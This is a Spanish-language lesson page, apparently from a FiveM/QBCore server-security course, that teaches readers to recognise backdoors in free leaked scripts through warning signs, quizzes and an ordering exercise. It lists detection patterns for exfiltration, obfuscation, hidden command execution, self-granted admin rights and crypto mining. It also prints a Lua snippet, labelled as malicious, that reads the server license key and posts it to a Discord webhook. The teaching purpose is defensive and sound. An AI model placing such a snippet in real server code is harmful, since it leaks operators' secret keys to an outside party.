Depurar y asegurar tus recursos · Lección 2/3 · 9 min

Anatomía de un backdoor de FiveM

Saber cómo atacan es la mejor defensa. Estos son los patrones que esconden los scripts maliciosos.

Muchos «leaks» gratis de QBCore traen sorpresas: backdoors que dan acceso al atacante, roban datos o minan cripto con tu servidor. Reconocer sus patrones te salva la ciudad.

Señales de alarma en un recurso

  • Exfiltración: webhooks de Discord (discord.com/api/webhooks) que mandan datos fuera.
  • Código ofuscado: assert(load(...)), cadenas enormes en base64 o \xNN ilegibles.
  • Ejecución oculta: os.execute, io.popen, o PerformHttpRequest que descarga y ejecuta código.
  • Puerta de admin: add_principal o ExecuteCommand que se dan permisos solos.
  • Robo de claves: leer sv_licenseKey, steam_webApiKey o la cadena de conexión de MySQL.
  • Minería: referencias a xmrig, stratum+tcp, pools de monero.
lua
-- 🚩 Backdoor (NO uses esto): manda tu licenseKey a un Discord ajeno
local key = GetConvar('sv_licenseKey', '')
PerformHttpRequest('https://discord.com/api/webhooks/...', function() end,
  'POST', json.encode({ content = key }), { ['Content-Type'] = 'application/json' })

Patrón malicioso

¿Descargaste algo y no estás seguro? Súbelo a la Auditoría de seguridad de Crxative-M: te escanea estos patrones y te dice si trae sorpresas antes de instalarlo en tu servidor.

Practica lo aprendido

0/3
Test

En un 'leak' gratis de QBCore ves estas líneas: local key = GetConvar('sv_licenseKey', '') / PerformHttpRequest('https://discord.com/api/webhooks/...', function() end, 'POST', json.encode({ content = key })). ¿Qué está pasando?

Pista

GetConvar('sv_licenseKey') + PerformHttpRequest a un Discord = datos tuyos saliendo fuera.

Test

¿Cuál de estas líneas es la MÁS sospechosa de esconder un backdoor en un recurso de FiveM?

Pista

El código honesto no tiene nada que esconder. ¿Por qué estaría ofuscado en \xNN?

Ordena el código

Ordena los pasos correctos cuando te pasan un recurso gratis y sospechoso, ANTES de instalarlo en tu servidor de producción.

Coloca las líneas en el orden correcto con las flechas.

Si todo está limpio, lo pruebo primero en un servidor de TEST, nunca directo en producción.
Reviso si lee sv_licenseKey, tokens o la conexión de MySQL, o si se da add_principal solo.
Lo paso por la Auditoría de seguridad de Crxative-M para escanear esos patrones.
Abro los .lua y busco patrones: webhooks de Discord, load(/assert, os.execute, io.popen, base64/\xNN.
Pista

Primero inspeccionas a mano, luego escaneas, luego pruebas aislado. Producción es lo último.

Reto: prográmalo tú

Te pasan un script con una línea PerformHttpRequest a un webhook de Discord que envía GetPlayerIdentifiers. ¿Qué pasa y qué harías?

Escríbelo tú en tu editor (VS Code) y pruébalo en tu servidor. Aquí se aprende haciéndolo, no copiando.

Ver pista

Es exfiltración de datos de jugadores a un Discord externo. No lo instales y audita el resto.

Escribe aquí tu solución:

¿Qué tal esta lección?